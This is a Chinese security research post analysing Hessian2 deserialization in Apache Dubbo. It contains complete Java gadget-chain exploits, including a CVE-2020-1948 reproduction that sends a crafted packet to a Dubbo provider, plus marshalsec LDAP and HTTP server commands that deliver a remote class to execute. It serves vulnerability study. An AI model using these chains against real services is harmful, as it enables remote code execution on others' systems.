0 前言
本篇是系列文章的第一篇,主要看看Dubbo使用反序列化協議Hessian2時,存在的安全問題。文章需要RPC、Dubbo、反序列化等前提知識點,推薦先閱讀和體驗Dubbo以及反序列化漏洞。
1 反序列化協議-Hessian2
hessian2是由caucho開發的基於Binary-RPC協議實現的遠端通訊庫,知名Web容器Resin的也是由caucho開發的。
在java中使用hessian2進行序列化和反序列化時,通過native方法或者反射(實際也用了native方法)直接對Field進行賦值操作,與某些呼叫setter和getter方法反序列化協議不同。
1.1 目標類型別反序列化器
在使用hessian2進行序列化和反序列化操作時,會自動根據類物件選擇序列化器和反序列化器,例如在Dubbo的jar包中,有com.alibaba.com.caucho.hessian.io.Hessian2Output
類,該類有writeObject方法如下
- com.alibaba.com.caucho.hessian.io.Hessian2Output#writeObject()
@Override
public void writeObject(Object object) throws IOException {
if (object == null) {
writeNull();
return;
}
Serializer serializer;
serializer = findSerializerFactory().getSerializer(object.getClass());
serializer.writeObject(object, this);
}
這裡的serializer物件,顯然就是通過傳入的object型別,找到對應的序列化器,然後再使用對應的序列化器,對object進行序列化。hessian2中可以序列化的型別與相應的序列化器和反序列化器對應關係如下
型別 | 序列化器 | 反序列化器 |
---|---|---|
Collection | CollectionSerializer | CollectionDeserializer |
Map | MapSerializer | MapDeserializer |
Iterator | IteratorSerializer | IteratorDeserializer |
Annotation | AnnotationSerializer | AnnotationDeserializer |
Interface | ObjectSerializer | ObjectDeserializer |
Array | ArraySerializer | ArrayDeserializer |
Enumeration | EnumerationSerializer | EnumerationDeserializer |
Enum | EnumSerializer | EnumDeserializer |
Class | ClassSerializer | ClassDeserializer |
預設 | JavaSerializer | JavaDeserializer |
Throwable | ThrowableSerializer | |
InputStream | InputStreamSerializer | InputStreamDeserializer |
InetAddress | InetAddressSerializer |
可以看出,Collection、Map、Iterator、Array這些常用型別都有相應的(反)序列化器
1.2 Hessian2中的gadget起始點
前面提到針對不同型別Hessian2中有相應的(反)序列化器,新增hessian2的依賴,從com.caucho.hessian.io.Hessian2Input#readObject()
開始看原始碼
- com.caucho.hessian.io.Hessian2Input#readObject(Class cl)
public Object readObject(Class cl) throws IOException{
if (cl == null || cl == Object.class) return readObject();
int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
switch (tag) {
case 'N':
{return null;}
..... // 省略
case 'H':
{
Deserializer reader = findSerializerFactory().getDeserializer(cl);
return reader.readMap(this);
}
case 'M':
{
String type = readType();
// hessian/3bb3
if ("".equals(type)) {
Deserializer reader;
reader = findSerializerFactory().getDeserializer(cl);
return reader.readMap(this);
}
else {
Deserializer reader;
reader = findSerializerFactory().getObjectDeserializer(type, cl);
return reader.readMap(this);
}
}
..... // 省略
}
}
這裡的case中,H是HashMap的序列化標誌,M是Map的序列化標誌,Hessian2反序列化時,根據該標值,獲取相應的反序列化器,即Deserializer,而針對不同的型別,反序列化器還有不同的處理,這裡H和M都會獲取到MapDeserializer,因此跟進該類的readMap方法
- com.caucho.hessian.io.MapDeserializer#readMap(AbstractHessianInput in)
public Object readMap(AbstractHessianInput in) throws IOException {
Map map;
if (_type == null)
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap();
else if (_type.equals(SortedMap.class))
map = new TreeMap();
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}
in.addRef(map);
while (! in.isEnd()) {
map.put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
}
可以看到,根據_type
這個引數去選擇構建哪種型別的Map類,而後通過while迴圈呼叫map.put方法將所有的key-value,傳遞到map中,而後返回這個建立的Map例項。如果對Commons-Collections利用鏈比較熟悉的話,應該會想到HashMap的利用鏈,在呼叫HashMap#put方法時,會觸發HashMap#hashCode方法,並進一步呼叫key.hashCode()方法,由於key被設定為了TiedMapEntry的例項,因此一步一步進入Transformer呼叫鏈。而這裡的map.put方法正是Hessian2的gadget起始點。在Dubbo中,雖然對Hessian2進行了一些魔改,但最終也會出現相同的呼叫:
2 Dubbo中的Hessian2漏洞利用
所用到的環境:
dubbo 2.7.3
springboot 1.2.0.RELEASE (spring version 4.1.3.RELEASE)
2.1 本地方法測試
前面以及提到了,由於hessian2協議在反序列化中呼叫readObject()方法時,會呼叫根據反序列化的Map型別建立一個新的Map物件,而後呼叫該物件的put方法,因而可能造成反序列化漏洞利用。這裡先自己寫一個類實驗一下
package com.bitterz.dubbo;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput;
import java.io.*;
import java.util.HashMap;
public class Hessian2Gadget {
public static class MyHashMap<K, V> extends HashMap<K, V>{
public V put(K key, V value) {
super.put(key, value);
System.out.println(111111111);
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){}
System.out.println(22222222);
return null;
}
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
MyHashMap map = new MyHashMap();
map.put("1", "1");
// hessian2的序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput hessian2Output = new Hessian2ObjectOutput(byteArrayOutputStream);
hessian2Output.writeObject(map);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(new String(bytes, 0, bytes.length));
// hessian2的反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2ObjectInput hessian2Input = new Hessian2ObjectInput(byteArrayInputStream);
HashMap o = (HashMap) hessian2Input.readObject();
o.get(null);
System.out.println(o);
}
我這裡建立了一個MyHashMap類繼承自HashMap,並重寫了put方法,而後在main方法中利用hessian2對MyHashMap進行序列化和反序列化操作,執行程式碼後,輸出結果如下
很明顯,MyHashMap#put
方法執行了兩次:
-
序列化前為了向map中新增值put了一次,所以彈出一次計算器,並輸出了111和222;
-
反序列化時,如前面所述,會呼叫到反序列化Map類的put方法去新增值,所以又彈出一次計算器,並輸出111和222;
因此Dubbo中hessian2協議確實存在被反序列化漏洞利用的可能性,但真正的Web環境中,不可能存在MyHashMap這樣的類,直接提供彈計算器的put方法:)因此還需要結合其它依賴進一步增加gadget的可利用性。
2.2 SpringPartiallyComparableAdvisorHolder
Dubbo預設依賴Spring、Javassist、netty等包,但實際開發使用中很可能用到springboot做微服務,以provider的身份提供服務,所以可以藉助常用的包完成gadget的構建,常見的hessian2可用gadget主要是Resin、Rome、SpringAbstractBeanFactoryPointcutAdvisor、XBean這幾個。SpringPartiallyComparableAdvisorHolder是Spring AOP中需要用到的類,所以就以這個為例子構建一下poc,程式碼如下
package com.bitterz.dubbo;
import com.caucho.hessian.io.*;
import org.apache.commons.logging.impl.NoOpLog;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
public class Hessian2SpringGadget {
public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
public NoWriteReplaceSerializerFactory() {
}
public Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
return super.getObjectSerializer(cl);
}
public Serializer getSerializer(Class cl) throws HessianProtocolException {
Serializer serializer = super.getSerializer(cl);
return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer);
}
}
public static class Reflections{
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
Field field=null;
Class cl = obj.getClass();
while (cl != Object.class){
try{
field = cl.getDeclaredField(fieldName);
if(field!=null){
break;}
}
catch (Exception e){
cl = cl.getSuperclass();
}
}
if (field==null){
System.out.println(obj.getClass().getName());
System.out.println(fieldName);
}
field.setAccessible(true);
field.set(obj,fieldValue);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
public static void main(String[] args) throws Exception {
String jndiUrl = "ldap://localhost:1389/ExecTest";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
//反序列化時BeanFactoryAspectInstanceFactory.getOrder會被呼叫,會觸發呼叫SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
//反序列化時AspectJAroundAdvice.getOrder會被呼叫,會觸發BeanFactoryAspectInstanceFactory.getOrder
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", jndiUrl);
//反序列化時AspectJPointcutAdvisor.getOrder會被呼叫,會觸發AspectJAroundAdvice.getOrder
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
//反序列化時PartiallyComparableAdvisorHolder.toString會被呼叫,會觸發AspectJPointcutAdvisor.getOrder
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);
//反序列化時Xstring.equals會被呼叫,會觸發PartiallyComparableAdvisorHolder.toString
Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);
//反序列化時HotSwappableTargetSource.equals會被呼叫,觸發Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
//反序列化時HashMap.putVal會被呼叫,觸發HotSwappableTargetSource.equals。這裡沒有直接使用HashMap.put設定值,直接put會在本地觸發利用鏈,所以使用marshalsec使用了比較特殊的處理方式。
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
// 避免序列化時觸發gadget
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
// hessian2序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(sf);
hessian2Output.writeObject(s);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();
// hessian2反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
HashMap o = (HashMap) hessian2Input.readObject();
}
}
還需要用marshalsec開一個惡意ldap服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest
其中ExecTest.class由如下程式碼編譯而成
import java.io.IOException;
public class ExecTest {
public ExecTest() throws IOException {
final Process process = Runtime.getRuntime().exec("calc");
}
}
之後用python在ExecTest.class檔案目錄中開啟檔案下載服務
py -3 -m http.server 8090
執行前面的gadget,ldap服務收到請求,並讓客戶端訪問8090埠下載.class檔案,並執行該類的無參構造方法,彈出計算器
前面的gadget在註釋中已經寫明瞭具體的觸發路徑,就不做詳細的展開了,可以將ExecTest.java中彈計算器的程式碼替換成new java.io.IOException().printStackTrace();
,再跟蹤呼叫棧即可。這個gadget在springboot下無法復現成功,可能是springboot中aop相關類有一些修改
2.3 Rome (CVE-2020-1948復現)
Rome是java中實現RSS訂閱的包,依賴如下
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.8.0</version>
</dependency>
這裡復現CVE-2020-1948(Apache Dubbo Provider 反序列化)
- 首先下載zookeeper
wget http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
tar zxvf zookeeper-3.3.3.tar.gz
cd zookeeper-3.3.3
cp conf/zoo_sample.cfg conf/zoo.cfg
- 配置
vim conf/zoo.cfg
# The number of milliseconds of each tick
tickTime=2000
# The number of ticks that the initial
# synchronization phase can take
initLimit=10
# The number of ticks that can pass between
# sending a request and getting an acknowledgement
syncLimit=5
# the directory where the snapshot is stored.
dataDir=/絕對路徑/zookeeper-3.3.3/data
# the port at which the clients will connect
clientPort=2181
- 修改絕對路徑,在data目錄下放置一個myid檔案
mkdir data
touch data/myid
- 啟動zookeeper
cd /private/var/tmp/zookeeper-3.3.3/bin
./zkServer.sh start
- 安裝dubbo-samples
git clone https://github.com/apache/dubbo-samples.git
cd dubbo-samples/dubbo-samples-api
- 修改dubbo-samples/dubbo-samples-api/pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>dubbomytest</artifactId>
<packaging>pom</packaging>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build>
<properties>
<source.level>1.8</source.level>
<target.level>1.8</target.level>
<dubbo.version>2.7.6</dubbo.version>
<junit.version>4.12</junit.version>
<docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>
<jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>
<maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>
<image.name>${project.artifactId}:${dubbo.version}</image.name>
<java-image.name>openjdk:8</java-image.name>
<dubbo.port>20880</dubbo.port>
<zookeeper.port>2181</zookeeper.port>
<main-class>org.apache.dubbo.samples.provider.Application</main-class>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-common</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<version>2.7.3</version>
<type>pom</type>
</dependency>
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.8.0</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
</dependencies>
</project>
- 編譯啟動
mvn clean package
或者直接在idea裡面啟動provider/Application.java
注意修改zookeeper和dubbo的埠,啟動後輸出dubbo service started
即表示dubbo已啟動
使用的payload如下
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.sql.SQLException;
import java.util.HashMap;
import java.util.Random;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import com.caucho.hessian.io.*;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
public class Hessian2RomeGadget {
public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
public NoWriteReplaceSerializerFactory() {
}
public Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
return super.getObjectSerializer(cl);
}
public Serializer getSerializer(Class cl) throws HessianProtocolException {
Serializer serializer = super.getSerializer(cl);
return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer);
}
}
public static class Reflections{
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
Field field=null;
Class cl = obj.getClass();
while (cl != Object.class){
try{
field = cl.getDeclaredField(fieldName);
if(field!=null){
break;}
}
catch (Exception e){
cl = cl.getSuperclass();
}
}
if (field==null){
System.out.println(obj.getClass().getName());
System.out.println(fieldName);
}
field.setAccessible(true);
field.set(obj,fieldValue);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
public static void main(String[] args) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此處填寫ldap url
rs.setDataSourceName("ldap://127.0.0.1:1389/ExecTest");
rs.setMatchColumn("foo");
Reflections.setFieldValue(rs, "listeners",null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
HashMap s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Reflections.setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);
out.writeObject(s);
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此處填寫被攻擊的dubbo服務提供者地址和埠
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}
和前面2.2一樣,用marshalsec開啟jndi服務,再用python開個檔案下載服務,然後執行payload,向dubbo傳送惡意資料,而後在dubbo provider中反序列化觸發相應的gadget,實現rce,效果如下
該漏洞在Dubbo 2.7.8中被修復,通過新增黑名單的形式過濾了關鍵類
總結
dubbo中的hessian2反序列化時,處理map型別的物件會呼叫map.get方法,而get方法在HashMap的實現中會設計到hashCode、equals方法的呼叫,從而給某些危險的類方法呼叫造成了可乘之機。而dubbo使用hessian2作為預設的反序列化協議,容易被髮起反序列化漏洞攻擊,應當使用白名單過濾反序列化類名。另外有大佬提到,使用黑名單的情況下,物件被反序列化後,呼叫物件的其它方法,也可能造成威脅http://rui0.cn/archives/1338
這一篇是Dubbo反序列化研究記錄的開始,後面還將針對
- Dubbo 2.x下的kryo、fst反序列化漏洞進行學習和研究(CVE-2021-25641)
- 基於kryo的akka協議在flink中的漏洞進行挖掘(https://bcs.qianxin.com/live/show.php?itemid=33)
- 以及Dubbo 3.x下的triple協議產生的安全漏洞進行挖掘(https://bcs.qianxin.com/live/show.php?itemid=33)
- 漏洞復現:CVE-2021-30180:Apache Dubbo YAML 反序列化漏洞、CVE-2021-30181:Apache Dubbo Nashorn 指令碼遠端程式碼執行漏洞、CVE-2021-30179:Apache Dubbo Generic filter 遠端程式碼執行漏洞、CVE-2021-32824:Apache Dubbo Telnet handler 遠端程式碼執行漏洞復現